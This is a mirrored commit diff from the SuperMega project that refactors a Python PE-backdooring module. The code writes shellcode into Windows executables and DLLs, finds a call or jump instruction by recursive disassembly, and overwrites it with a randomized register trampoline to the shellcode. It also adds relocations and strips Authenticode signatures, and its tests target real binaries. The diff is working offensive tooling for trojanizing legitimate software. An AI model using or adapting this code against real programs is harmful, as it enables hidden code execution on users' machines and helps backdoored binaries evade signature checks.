mirror of
https://github.com/dobin/SuperMega
synced 2026-06-03 01:27:11 +00:00
refactor: function hijacker / DerBackdoorer rework
This commit is contained in:
+74
-135
@@ -18,122 +18,95 @@ from model.defs import *
|
|||||||
logger = logging.getLogger("DerBackdoorer")
|
logger = logging.getLogger("DerBackdoorer")
|
||||||
|
|
||||||
|
|
||||||
class PeBackdoor:
|
class FunctionBackdoorer:
|
||||||
def __init__(self, superpe: SuperPe, main_shc: bytes, carrier_invoke_style: CarrierInvokeStyle):
|
def __init__(self, superpe: SuperPe, main_shc: bytes):
|
||||||
self.superpe: SuperPe = superpe
|
self.superpe: SuperPe = superpe
|
||||||
self.carrier_invoke_style: CarrierInvokeStyle = carrier_invoke_style
|
|
||||||
self.shellcodeData: bytes = main_shc
|
self.shellcodeData: bytes = main_shc
|
||||||
|
|
||||||
# Working
|
|
||||||
self.shellcodeOffset: int = 0 # from start of the file
|
|
||||||
self.shellcodeOffsetRel: int = 0 # from start of the code section
|
|
||||||
self.shellcodeAddr: int = 0
|
self.shellcodeAddr: int = 0
|
||||||
self.backdoorOffsetRel: int = 0 # from start of the code section
|
|
||||||
|
self.pe_data = self.superpe.pe.get_memory_mapped_image()
|
||||||
|
|
||||||
|
self.cs = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_64 + capstone.CS_MODE_LITTLE_ENDIAN)
|
||||||
|
self.ks = keystone.Ks(keystone.KS_ARCH_X86, keystone.KS_MODE_64 + keystone.KS_MODE_LITTLE_ENDIAN)
|
||||||
|
self.cs.detail = True
|
||||||
|
|
||||||
|
|
||||||
def getExportEntryPoint(self, exportName: str):
|
def backdoor_function(self, function_addr: int, shellcode_addr: int):
|
||||||
dec = lambda x: '???' if x is None else x.decode()
|
self.shellcodeAddr = shellcode_addr
|
||||||
d = [pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_EXPORT"]]
|
logger.info("Backdooring function at 0x{:X} (to shellcode 0x{:X})".format(function_addr, shellcode_addr))
|
||||||
self.superpe.pe.parse_data_directories(directories=d)
|
|
||||||
|
|
||||||
if self.superpe.pe.DIRECTORY_ENTRY_EXPORT.symbols == 0:
|
instr = self.find_suitable_instruction_addr(function_addr, 128)
|
||||||
raise Exception('No DLL exports found!')
|
if instr is None:
|
||||||
|
raise Exception("Couldn't find a suitable instruction to backdoor")
|
||||||
|
compiled_trampoline, trampoline_reloc_offset = self.get_trampoline(instr)
|
||||||
|
|
||||||
exports = [(e.ordinal, dec(e.name)) for e in self.superpe.pe.DIRECTORY_ENTRY_EXPORT.symbols]
|
# write
|
||||||
chosen_export = None
|
self.superpe.pe.set_bytes_at_rva(instr.address, bytes(compiled_trampoline))
|
||||||
for export in exports:
|
|
||||||
#logger.debug(f'DLL Export: {export[0]} {export[1]}')
|
# relocs
|
||||||
if export[1].lower() == exportName.lower():
|
relocs = (
|
||||||
chosen_export = export
|
instr.address + trampoline_reloc_offset,
|
||||||
break
|
)
|
||||||
#export = exports[0]
|
pageRva = 4096 * int((instr.address + trampoline_reloc_offset) / 4096)
|
||||||
#if choose_random:
|
self.superpe.addImageBaseRelocations(pageRva, relocs)
|
||||||
# export = exports[0]
|
|
||||||
logger.info("Export: {} {}".format(chosen_export[0], chosen_export[1]))
|
|
||||||
name = chosen_export[1]
|
|
||||||
#addr = self.superpe.pe.DIRECTORY_ENTRY_EXPORT.symbols[export[0]].address
|
|
||||||
for exp in self.superpe.pe.DIRECTORY_ENTRY_EXPORT.symbols:
|
|
||||||
#logger.info("-- {} {}".format(hex(exp.address), exp.name.decode()))
|
|
||||||
if exp.name.decode() == name:
|
|
||||||
#print(hex(exp.address), exp.name.decode())
|
|
||||||
addr = exp.address
|
|
||||||
return addr
|
|
||||||
|
|
||||||
|
|
||||||
def backdoor_function(self, function_addr, shellcode_addr):
|
def find_suitable_instruction_addr(self, startOffset, length, maxDepth = 5):
|
||||||
#imageBase = self.superpe.pe.OPTIONAL_HEADER.ImageBase
|
"""Find a instruction to backdoor. Recursively."""
|
||||||
#self.shellcodeAddr = self.superpe.pe.get_rva_from_offset(self.shellcodeOffset) + imageBase
|
return self._find_suitable_instruction_addr(startOffset, length, maxDepth, 1)
|
||||||
|
|
||||||
cs = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_64 + capstone.CS_MODE_LITTLE_ENDIAN)
|
|
||||||
ks = keystone.Ks(keystone.KS_ARCH_X86, keystone.KS_MODE_64 + keystone.KS_MODE_LITTLE_ENDIAN)
|
|
||||||
cs.detail = True
|
|
||||||
|
|
||||||
#if addr == -1:
|
def _find_suitable_instruction_addr(self, startOffset, length, maxDepth, depth):
|
||||||
# ep = self.superpe.get_entrypoint()
|
logger.info("find_suitable_instruction_addr: off: 0x{:X} len:{} depth:{}".format(startOffset, length, depth))
|
||||||
# logger.info("--[ BackdoorEntryPoint(): Use Entry Point 0x{:X}".format(ep))
|
|
||||||
#else:
|
|
||||||
# ep = addr
|
|
||||||
# logger.info("--[ BackdoorEntryPoint(): Use Addr 0x{:X}".format(ep))
|
|
||||||
|
|
||||||
#ep_ava = ep + self.superpe.pe.OPTIONAL_HEADER.ImageBase
|
if depth > maxDepth:
|
||||||
#data = self.superpe.pe.get_memory_mapped_image()[ep:ep+128]
|
return None
|
||||||
#offset = 0
|
|
||||||
#logger.debug('Entry Point disasm:')
|
|
||||||
|
|
||||||
disasmData = self.superpe.pe.get_memory_mapped_image()
|
data = self.pe_data[startOffset:startOffset + length]
|
||||||
output = self.superpe.disasmBytes(cs, ks, disasmData, function_addr, 128, self.backdoorInstruction)
|
|
||||||
|
|
||||||
# store offset... by calculating it first FUCK
|
for instr in self.cs.disasm(data, startOffset):
|
||||||
section = self.superpe.get_code_section()
|
self.printInstr(instr, depth)
|
||||||
self.backdoorOffsetRel = output - section.VirtualAddress
|
|
||||||
|
|
||||||
if False:
|
# find a call/jmp instruction with an immediate operand
|
||||||
if output != 0:
|
if len(instr.operands) != 1:
|
||||||
logger.debug('Now disasm looks like follows: ')
|
continue
|
||||||
|
operand = instr.operands[0]
|
||||||
|
if operand.type != capstone.CS_OP_IMM:
|
||||||
|
continue
|
||||||
|
|
||||||
disasmData = self.superpe.pe.get_memory_mapped_image()
|
# We found one. check it.
|
||||||
self.superpe.disasmBytes(cs, ks, disasmData, output - 32, 32, None, maxDepth = 3)
|
logger.info('\t' * depth + f' -> Found OP_IMM: 0x{operand.value.imm:X}')
|
||||||
|
is_jumpy = instr.mnemonic.lower() in ['jmp', 'je', 'jz', 'jne', 'jnz', 'ja', 'jb', 'jae', 'jbe', 'jg', 'jl', 'jge', 'jle']
|
||||||
logger.debug('\n[>] Inserted backdoor code: ')
|
is_jumpy |= instr.mnemonic.lower() == 'call'
|
||||||
for instr in cs.disasm(bytes(self.compiledTrampoline), output):
|
if not is_jumpy:
|
||||||
self.superpe.printInstr(instr, 1)
|
continue
|
||||||
|
|
||||||
logger.debug('')
|
|
||||||
self.superpe.disasmBytes(cs, ks, disasmData, output + len(self.compiledTrampoline), 32, None, maxDepth = 3)
|
|
||||||
|
|
||||||
|
# dont take a jump too early
|
||||||
|
if depth >= 2:
|
||||||
|
# use this as the backdoor
|
||||||
|
return instr
|
||||||
else:
|
else:
|
||||||
logger.error('Did not find suitable candidate for Entry Point branch hijack!')
|
# follow it deeper
|
||||||
|
if depth + 1 <= maxDepth:
|
||||||
return output
|
out = self._find_suitable_instruction_addr(
|
||||||
|
operand.value.imm, length, maxDepth, depth + 1)
|
||||||
|
return out
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
def getBackdoorTrampoline(self, cs, ks, instr):
|
def get_trampoline(self, instr):
|
||||||
trampoline = ''
|
|
||||||
addrOffset = -1
|
addrOffset = -1
|
||||||
|
|
||||||
if self.superpe.is_64():
|
if not self.superpe.is_64():
|
||||||
registers = ['rax', 'rbx', 'rcx', 'rdx', 'rsi', 'rdi']
|
raise Exception("Not 64 bit")
|
||||||
else:
|
reg = random.choice(['rax', 'rbx', 'rcx', 'rdx', 'rsi', 'rdi']).upper()
|
||||||
# Not really used
|
full_shellcode_addr = self.shellcodeAddr + self.superpe.pe.OPTIONAL_HEADER.ImageBase
|
||||||
registers = ['eax', 'ebx', 'ecx', 'edx', 'esi', 'edi']
|
|
||||||
|
|
||||||
reg = random.choice(registers).upper()
|
enc, count = self.ks.asm(f'MOV {reg}, 0x{full_shellcode_addr:X}')
|
||||||
reg2 = random.choice(registers).upper()
|
for instr2 in self.cs.disasm(bytes(enc), 0):
|
||||||
|
|
||||||
while reg2 == reg:
|
|
||||||
reg2 = random.choice(registers).upper()
|
|
||||||
|
|
||||||
enc, count = ks.asm(f'MOV {reg}, 0x{self.shellcodeAddr:X}')
|
|
||||||
for instr2 in cs.disasm(bytes(enc), 0):
|
|
||||||
addrOffset = len(instr2.bytes) - instr2.addr_size
|
addrOffset = len(instr2.bytes) - instr2.addr_size
|
||||||
break
|
break
|
||||||
|
|
||||||
found = instr.mnemonic.lower() in ['jmp', 'je', 'jz', 'jne', 'jnz', 'ja', 'jb', 'jae', 'jbe', 'jg', 'jl', 'jge', 'jle']
|
|
||||||
found |= instr.mnemonic.lower() == 'call'
|
|
||||||
|
|
||||||
if found:
|
|
||||||
logger.info(f'---[ Backdooring entry point {instr.mnemonic.upper()} instruction at RVA 0x{instr.address:X} into:')
|
|
||||||
|
|
||||||
jump = random.choice([
|
jump = random.choice([
|
||||||
f'CALL {reg}',
|
f'CALL {reg}',
|
||||||
|
|
||||||
@@ -146,52 +119,18 @@ class PeBackdoor:
|
|||||||
#f'PUSH {reg} ; RET',
|
#f'PUSH {reg} ; RET',
|
||||||
])
|
])
|
||||||
|
|
||||||
trampoline = f'MOV {reg}, 0x{self.shellcodeAddr:X} ; {jump}'
|
trampoline_text = f'MOV {reg}, 0x{full_shellcode_addr:X} ; {jump}'
|
||||||
|
trampoline_compiled, count = self.ks.asm(trampoline_text)
|
||||||
for ins in trampoline.split(';'):
|
logger.info("--[ Backdooring {} at 0x{:X} with trampoline: {}".format(
|
||||||
logger.info(f'\t{ins.strip()}')
|
instr.mnemonic.upper(), instr.address, trampoline_text))
|
||||||
|
return trampoline_compiled, addrOffset
|
||||||
return (trampoline, addrOffset)
|
|
||||||
|
|
||||||
|
|
||||||
def backdoorInstruction(self, cs, ks, disasmData, startOffset, instr, operand, depth):
|
def printInstr(self, instr, depth):
|
||||||
encoding = b''
|
_bytes = [f'{x:02x}' for x in instr.bytes[:8]]
|
||||||
count = 0
|
if len(instr.bytes) < 8:
|
||||||
|
_bytes.extend([' ',] * (8 - len(instr.bytes)))
|
||||||
|
|
||||||
if depth < 2:
|
instrBytes = ' '.join([f'{x}' for x in _bytes])
|
||||||
return 0
|
logger.info('\t' * 1 + f'[{instr.address:08x}]\t{instrBytes}' + '\t' * depth + f'{instr.mnemonic}\t{instr.op_str}')
|
||||||
|
|
||||||
(trampoline, addrOffset) = self.getBackdoorTrampoline(cs, ks, instr)
|
|
||||||
|
|
||||||
if len(trampoline) > 0:
|
|
||||||
encoding, count = ks.asm(trampoline)
|
|
||||||
self.superpe.pe.set_bytes_at_rva(instr.address, bytes(encoding))
|
|
||||||
|
|
||||||
relocs = (
|
|
||||||
instr.address + addrOffset,
|
|
||||||
)
|
|
||||||
|
|
||||||
pageRva = 4096 * int((instr.address + addrOffset) / 4096)
|
|
||||||
self.superpe.addImageBaseRelocations(pageRva, relocs)
|
|
||||||
|
|
||||||
self.trampoline = trampoline
|
|
||||||
self.compiledTrampoline = encoding
|
|
||||||
self.compiledTrampolineCount = count
|
|
||||||
|
|
||||||
logger.debug('Successfully backdoored entry point with jump/call to shellcode')
|
|
||||||
return instr.address
|
|
||||||
|
|
||||||
return 0
|
|
||||||
|
|
||||||
|
|
||||||
def removeSignature(self):
|
|
||||||
addr = self.superpe.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress
|
|
||||||
size = self.superpe.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].Size
|
|
||||||
|
|
||||||
self.superpe.pe.set_bytes_at_rva(addr, b'\x00' * size)
|
|
||||||
|
|
||||||
self.superpe.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress = 0
|
|
||||||
self.superpe.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].Size = 0
|
|
||||||
|
|
||||||
logger.info('PE executable Authenticode signature removed.')
|
|
||||||
return True
|
|
||||||
+29
-42
@@ -213,6 +213,28 @@ class SuperPe():
|
|||||||
i += 1
|
i += 1
|
||||||
|
|
||||||
|
|
||||||
|
def getExportEntryPoint(self, exportName: str):
|
||||||
|
dec = lambda x: '???' if x is None else x.decode()
|
||||||
|
d = [pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_EXPORT"]]
|
||||||
|
self.pe.parse_data_directories(directories=d)
|
||||||
|
|
||||||
|
if self.pe.DIRECTORY_ENTRY_EXPORT.symbols == 0:
|
||||||
|
raise Exception('No DLL exports found!')
|
||||||
|
|
||||||
|
exports = [(e.ordinal, dec(e.name)) for e in self.pe.DIRECTORY_ENTRY_EXPORT.symbols]
|
||||||
|
chosen_export = None
|
||||||
|
for export in exports:
|
||||||
|
if export[1].lower() == exportName.lower():
|
||||||
|
chosen_export = export
|
||||||
|
break
|
||||||
|
logger.debug("Export: {} {}".format(chosen_export[0], chosen_export[1]))
|
||||||
|
name = chosen_export[1]
|
||||||
|
for exp in self.pe.DIRECTORY_ENTRY_EXPORT.symbols:
|
||||||
|
if exp.name.decode() == name:
|
||||||
|
addr = exp.address
|
||||||
|
return addr
|
||||||
|
|
||||||
|
|
||||||
def get_exports(self) -> List[str]:
|
def get_exports(self) -> List[str]:
|
||||||
"""Return a list of exported functions (names) from the PE file"""
|
"""Return a list of exported functions (names) from the PE file"""
|
||||||
d = [pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_EXPORT"]]
|
d = [pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_EXPORT"]]
|
||||||
@@ -276,47 +298,12 @@ class SuperPe():
|
|||||||
self.pe.write(outfile)
|
self.pe.write(outfile)
|
||||||
|
|
||||||
|
|
||||||
## Disassembly / Output
|
def removeSignature(self):
|
||||||
|
logger.info('PE executable Authenticode signature remove')
|
||||||
|
addr = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress
|
||||||
|
size = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_SECURITY].Size
|
||||||
|
|
||||||
def disasmBytes(self, cs, ks, disasmData, startOffset, length, callback = None, maxDepth = 5):
|
self.pe.set_bytes_at_rva(addr, b'\x00' * size)
|
||||||
return self._disasmBytes(cs, ks, disasmData, startOffset, length, callback, maxDepth, 1)
|
|
||||||
|
|
||||||
|
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress = 0
|
||||||
def printInstr(self, instr, depth):
|
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_SECURITY].Size = 0
|
||||||
_bytes = [f'{x:02x}' for x in instr.bytes[:8]]
|
|
||||||
if len(instr.bytes) < 8:
|
|
||||||
_bytes.extend([' ',] * (8 - len(instr.bytes)))
|
|
||||||
|
|
||||||
instrBytes = ' '.join([f'{x}' for x in _bytes])
|
|
||||||
logger.debug('\t' * 1 + f'[{instr.address:08x}]\t{instrBytes}' + '\t' * depth + f'{instr.mnemonic}\t{instr.op_str}')
|
|
||||||
|
|
||||||
|
|
||||||
def _disasmBytes(self, cs, ks, disasmData, startOffset, length, callback, maxDepth, depth):
|
|
||||||
if depth > maxDepth:
|
|
||||||
return 0
|
|
||||||
|
|
||||||
data = disasmData[startOffset:startOffset + length]
|
|
||||||
|
|
||||||
for instr in cs.disasm(data, startOffset):
|
|
||||||
self.printInstr(instr, depth)
|
|
||||||
|
|
||||||
if len(instr.operands) == 1:
|
|
||||||
operand = instr.operands[0]
|
|
||||||
|
|
||||||
if operand.type == capstone.CS_OP_IMM:
|
|
||||||
logger.debug('\t' * (depth+1) + f' -> OP_IMM: 0x{operand.value.imm:X}')
|
|
||||||
logger.debug('')
|
|
||||||
|
|
||||||
if callback:
|
|
||||||
out = callback(cs, ks, disasmData, startOffset, instr, operand, depth)
|
|
||||||
if out != 0:
|
|
||||||
return out
|
|
||||||
|
|
||||||
if depth + 1 <= maxDepth:
|
|
||||||
out = self._disasmBytes(cs, ks, disasmData, operand.value.imm, length, callback, maxDepth, depth + 1)
|
|
||||||
return out
|
|
||||||
|
|
||||||
if not callback:
|
|
||||||
return 1
|
|
||||||
|
|
||||||
return 0
|
|
||||||
|
|||||||
+14
-19
@@ -7,7 +7,7 @@ from model.carrier import Carrier, DataReuseEntry
|
|||||||
from pe.pehelper import *
|
from pe.pehelper import *
|
||||||
from model.exehost import *
|
from model.exehost import *
|
||||||
from observer import observer
|
from observer import observer
|
||||||
from pe.derbackdoorer import PeBackdoor
|
from pe.derbackdoorer import FunctionBackdoorer
|
||||||
from pe.superpe import SuperPe
|
from pe.superpe import SuperPe
|
||||||
from model.project import Project
|
from model.project import Project
|
||||||
from model.settings import Settings
|
from model.settings import Settings
|
||||||
@@ -42,13 +42,13 @@ def inject_exe(
|
|||||||
|
|
||||||
# superpe is a representation of the exe file. We gonna modify it, and save it at the end.
|
# superpe is a representation of the exe file. We gonna modify it, and save it at the end.
|
||||||
superpe = SuperPe(exe_in)
|
superpe = SuperPe(exe_in)
|
||||||
pe_backdoorer = PeBackdoor(superpe, main_shc, carrier_invoke_style)
|
function_backdoorer = FunctionBackdoorer(superpe, main_shc)
|
||||||
|
|
||||||
shellcode_offset: int = 0
|
shellcode_offset: int = 0
|
||||||
if superpe.is_dll() and settings.dllfunc != "" and carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
|
if superpe.is_dll() and settings.dllfunc != "" and carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
|
||||||
# Special case. put it at the beginning of the exported DLL function
|
# Special case. put it at the beginning of the exported DLL function
|
||||||
logger.info("--[ Overwrite DLL function {} with shellcode".format(settings.dllfunc))
|
logger.info("--[ Overwrite DLL function {} with shellcode".format(settings.dllfunc))
|
||||||
rva = pe_backdoorer.getExportEntryPoint(settings.dllfunc)
|
rva = superpe.getExportEntryPoint(settings.dllfunc)
|
||||||
|
|
||||||
# Size and sanity checks
|
# Size and sanity checks
|
||||||
exports = superpe.get_exports_full()
|
exports = superpe.get_exports_full()
|
||||||
@@ -83,11 +83,6 @@ def inject_exe(
|
|||||||
# Copy the shellcode
|
# Copy the shellcode
|
||||||
superpe.pe.set_bytes_at_offset(shellcode_offset, main_shc)
|
superpe.pe.set_bytes_at_offset(shellcode_offset, main_shc)
|
||||||
|
|
||||||
# HACK
|
|
||||||
pe_backdoorer.shellcodeOffset = shellcode_offset
|
|
||||||
pe_backdoorer.shellcodeOffsetRel = shellcode_offset - sect.PointerToRawData
|
|
||||||
pe_backdoorer.shellcodeAddr = shellcode_rva + superpe.pe.OPTIONAL_HEADER.ImageBase
|
|
||||||
|
|
||||||
# rewire flow
|
# rewire flow
|
||||||
if superpe.is_dll() and settings.dllfunc != "":
|
if superpe.is_dll() and settings.dllfunc != "":
|
||||||
logger.info("---( Rewire: DLL function: {} ".format(settings.dllfunc))
|
logger.info("---( Rewire: DLL function: {} ".format(settings.dllfunc))
|
||||||
@@ -97,10 +92,10 @@ def inject_exe(
|
|||||||
raise Exception("We should not land here")
|
raise Exception("We should not land here")
|
||||||
|
|
||||||
elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr:
|
elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr:
|
||||||
addr = pe_backdoorer.getExportEntryPoint(settings.dllfunc)
|
addr = superpe.getExportEntryPoint(settings.dllfunc)
|
||||||
logger.info("--( Inject DLL: Patch {} (0x{:X})".format(
|
logger.info("--( Inject DLL: Patch {} (0x{:X})".format(
|
||||||
settings.dllfunc, addr))
|
settings.dllfunc, addr))
|
||||||
pe_backdoorer.backdoor_function(addr, shellcode_rva)
|
function_backdoorer.backdoor_function(addr, shellcode_rva)
|
||||||
|
|
||||||
else: # EXE
|
else: # EXE
|
||||||
logger.info("---( Rewire: EXE")
|
logger.info("---( Rewire: EXE")
|
||||||
@@ -114,7 +109,7 @@ def inject_exe(
|
|||||||
addr = superpe.get_entrypoint()
|
addr = superpe.get_entrypoint()
|
||||||
logger.info("--( Inject EXE: Patch main() (0x{:X})".format(
|
logger.info("--( Inject EXE: Patch main() (0x{:X})".format(
|
||||||
addr))
|
addr))
|
||||||
pe_backdoorer.backdoor_function(addr, shellcode_rva)
|
function_backdoorer.backdoor_function(addr, shellcode_rva)
|
||||||
|
|
||||||
if source_style == FunctionInvokeStyle.iat_reuse:
|
if source_style == FunctionInvokeStyle.iat_reuse:
|
||||||
injected_fix_iat(superpe, project.carrier, project.exe_host)
|
injected_fix_iat(superpe, project.carrier, project.exe_host)
|
||||||
@@ -124,14 +119,14 @@ def inject_exe(
|
|||||||
superpe.write_pe_to_file(exe_out)
|
superpe.write_pe_to_file(exe_out)
|
||||||
|
|
||||||
# verify and log
|
# verify and log
|
||||||
shellcode = file_readall_binary(shellcode_in)
|
#shellcode = file_readall_binary(shellcode_in)
|
||||||
shellcode_len = len(shellcode)
|
#shellcode_len = len(shellcode)
|
||||||
code = extract_code_from_exe_file(exe_out)
|
#code = extract_code_from_exe_file(exe_out)
|
||||||
in_code = code[pe_backdoorer.shellcodeOffsetRel:pe_backdoorer.shellcodeOffsetRel+shellcode_len]
|
#in_code = code[function_backdoorer.shellcodeOffsetRel:function_backdoorer.shellcodeOffsetRel+shellcode_len]
|
||||||
jmp_code = code[pe_backdoorer.backdoorOffsetRel:pe_backdoorer.backdoorOffsetRel+12]
|
#jmp_code = code[function_backdoorer.backdoorOffsetRel:function_backdoorer.backdoorOffsetRel+12]
|
||||||
if config.debug:
|
#if config.debug:
|
||||||
observer.add_code_file("exe_extracted_loader", in_code)
|
# observer.add_code_file("exe_extracted_loader", in_code)
|
||||||
observer.add_code_file("exe_extracted_jmp", jmp_code)
|
# observer.add_code_file("exe_extracted_jmp", jmp_code)
|
||||||
|
|
||||||
|
|
||||||
def injected_fix_iat(superpe: SuperPe, carrier: Carrier, exe_host: ExeHost):
|
def injected_fix_iat(superpe: SuperPe, carrier: Carrier, exe_host: ExeHost):
|
||||||
|
|||||||
+1
-1
@@ -67,7 +67,7 @@ def main():
|
|||||||
elif args.carrier_invoke == "backdoor":
|
elif args.carrier_invoke == "backdoor":
|
||||||
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr
|
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr
|
||||||
else:
|
else:
|
||||||
logging.error("Invalid mode, use one of:")
|
logging.error("Invalid carrier_invoke, use one of:")
|
||||||
for i in ["eop", "backdoor"]:
|
for i in ["eop", "backdoor"]:
|
||||||
logging.error(" {} {}".format(i, carrier_invoke_style_str(i)))
|
logging.error(" {} {}".format(i, carrier_invoke_style_str(i)))
|
||||||
return
|
return
|
||||||
|
|||||||
+17
-80
@@ -9,96 +9,33 @@ from pe.pehelper import extract_code_from_exe_file
|
|||||||
from utils import hexdump
|
from utils import hexdump
|
||||||
from observer import observer
|
from observer import observer
|
||||||
from model.defs import *
|
from model.defs import *
|
||||||
from pe.derbackdoorer import PeBackdoor
|
from pe.derbackdoorer import FunctionBackdoorer
|
||||||
|
from pe.superpe import SuperPe
|
||||||
|
|
||||||
|
|
||||||
# What to make sure of:
|
|
||||||
# 1: Change of AddressEntryPoint
|
|
||||||
# * Shellcode is at the location given
|
|
||||||
# * EP points to the shellcode
|
|
||||||
#
|
|
||||||
# 2: Hijack
|
|
||||||
# * Shellcode is at the location given
|
|
||||||
# * The call has been patched
|
|
||||||
|
|
||||||
class DerBackdoorerTest(unittest.TestCase):
|
class DerBackdoorerTest(unittest.TestCase):
|
||||||
@classmethod
|
@classmethod
|
||||||
def setUpClass(cls):
|
def setUpClass(cls):
|
||||||
observer.active = False
|
observer.active = False
|
||||||
|
|
||||||
def test_backdoor_ep(self):
|
|
||||||
# Write example shellcode
|
def test_function_backdoorer_exe(self):
|
||||||
shellcode_path = PATH_EXES + "shellcode.test"
|
|
||||||
shellcode = b"\x90" * 200
|
shellcode = b"\x90" * 200
|
||||||
with open(shellcode_path, "wb") as f:
|
superpe = SuperPe(PATH_EXES + "iattest-full.exe")
|
||||||
f.write(shellcode)
|
function_backdoorer = FunctionBackdoorer(superpe, shellcode)
|
||||||
|
|
||||||
exe_path = PATH_EXES + "iattest-full.exe"
|
instr = function_backdoorer.find_suitable_instruction_addr(superpe.get_entrypoint(), 128, 5)
|
||||||
exe_out_path = PATH_EXES + "iattest-full.test.exe"
|
self.assertIsNotNone(instr)
|
||||||
|
self.assertEqual(instr.mnemonic, "jne")
|
||||||
shutil.copyfile(exe_path, exe_out_path)
|
self.assertEqual(instr.address, 0x1701)
|
||||||
|
|
||||||
pe_backdoorer = PeBackdoor()
|
|
||||||
result = pe_backdoorer.backdoor(
|
|
||||||
1, # always overwrite .text section
|
|
||||||
1, # EntryPoint change
|
|
||||||
shellcode_path,
|
|
||||||
exe_path,
|
|
||||||
exe_out_path,
|
|
||||||
)
|
|
||||||
|
|
||||||
self.assertTrue(result)
|
|
||||||
code = extract_code_from_exe_file(exe_out_path)
|
|
||||||
extracted_code = code[pe_backdoorer.shellcodeOffsetRel:pe_backdoorer.shellcodeOffsetRel+len(shellcode)]
|
|
||||||
self.assertEqual(shellcode, extracted_code)
|
|
||||||
|
|
||||||
os.remove(exe_out_path)
|
|
||||||
os.remove(shellcode_path)
|
|
||||||
|
|
||||||
|
|
||||||
def test_backdoor_hijack(self):
|
def test_function_backdoorer_dll(self):
|
||||||
# Write example shellcode
|
|
||||||
shellcode = b"\x90" * 200
|
shellcode = b"\x90" * 200
|
||||||
with open(PATH_EXES + "shellcode.test", "wb") as f:
|
superpe = SuperPe(PATH_EXES + "libbz2-1.dll")
|
||||||
f.write(shellcode)
|
function_backdoorer = FunctionBackdoorer(superpe, shellcode)
|
||||||
|
|
||||||
shellcode_path = PATH_EXES + "shellcode.test"
|
instr = function_backdoorer.find_suitable_instruction_addr(superpe.get_entrypoint(), 128, 5)
|
||||||
exe_path = PATH_EXES + "7z.exe"
|
self.assertIsNotNone(instr)
|
||||||
exe_out_path = PATH_EXES + "7z.test.exe"
|
self.assertEqual(instr.mnemonic, "jne")
|
||||||
|
self.assertEqual(instr.address, 0x1220)
|
||||||
shutil.copyfile(exe_path, exe_out_path)
|
|
||||||
|
|
||||||
pe_backdoorer = PeBackdoor()
|
|
||||||
result = pe_backdoorer.backdoor(
|
|
||||||
1, # always overwrite .text section
|
|
||||||
2, # Hijack
|
|
||||||
shellcode_path,
|
|
||||||
exe_path,
|
|
||||||
exe_out_path,
|
|
||||||
)
|
|
||||||
|
|
||||||
self.assertTrue(result)
|
|
||||||
|
|
||||||
# code
|
|
||||||
code = extract_code_from_exe_file(exe_out_path)
|
|
||||||
extracted_code = code[pe_backdoorer.shellcodeOffsetRel:pe_backdoorer.shellcodeOffsetRel+len(shellcode)]
|
|
||||||
self.assertEqual(shellcode, extracted_code)
|
|
||||||
|
|
||||||
# jmp
|
|
||||||
# 48 c7 c2 d7 fb 42 00 ff d2 5b 0f b7
|
|
||||||
# 48 c7 c6 d7 fb 42 00 ff d6 5b 0f b7
|
|
||||||
jmp_code = code[pe_backdoorer.backdoorOffsetRel:pe_backdoorer.backdoorOffsetRel+12]
|
|
||||||
self.assertEqual(jmp_code[0], 0x48)
|
|
||||||
self.assertEqual(jmp_code[1], 0xc7)
|
|
||||||
#self.assertEqual(jmp_code[2], 0x??) # variable
|
|
||||||
self.assertEqual(jmp_code[3], 0xd7)
|
|
||||||
self.assertEqual(jmp_code[4], 0xfb)
|
|
||||||
self.assertEqual(jmp_code[5], 0x42)
|
|
||||||
self.assertEqual(jmp_code[6], 0x00)
|
|
||||||
self.assertEqual(jmp_code[7], 0xff)
|
|
||||||
#self.assertEqual(jmp_code[8], 0x??) # variable
|
|
||||||
self.assertEqual(jmp_code[9], 0x5b)
|
|
||||||
self.assertEqual(jmp_code[10], 0x0f)
|
|
||||||
self.assertEqual(jmp_code[11], 0xb7)
|
|
||||||
|
|
||||||
os.remove(exe_out_path)
|
|
||||||
|
|||||||
Reference in New Issue
Block a user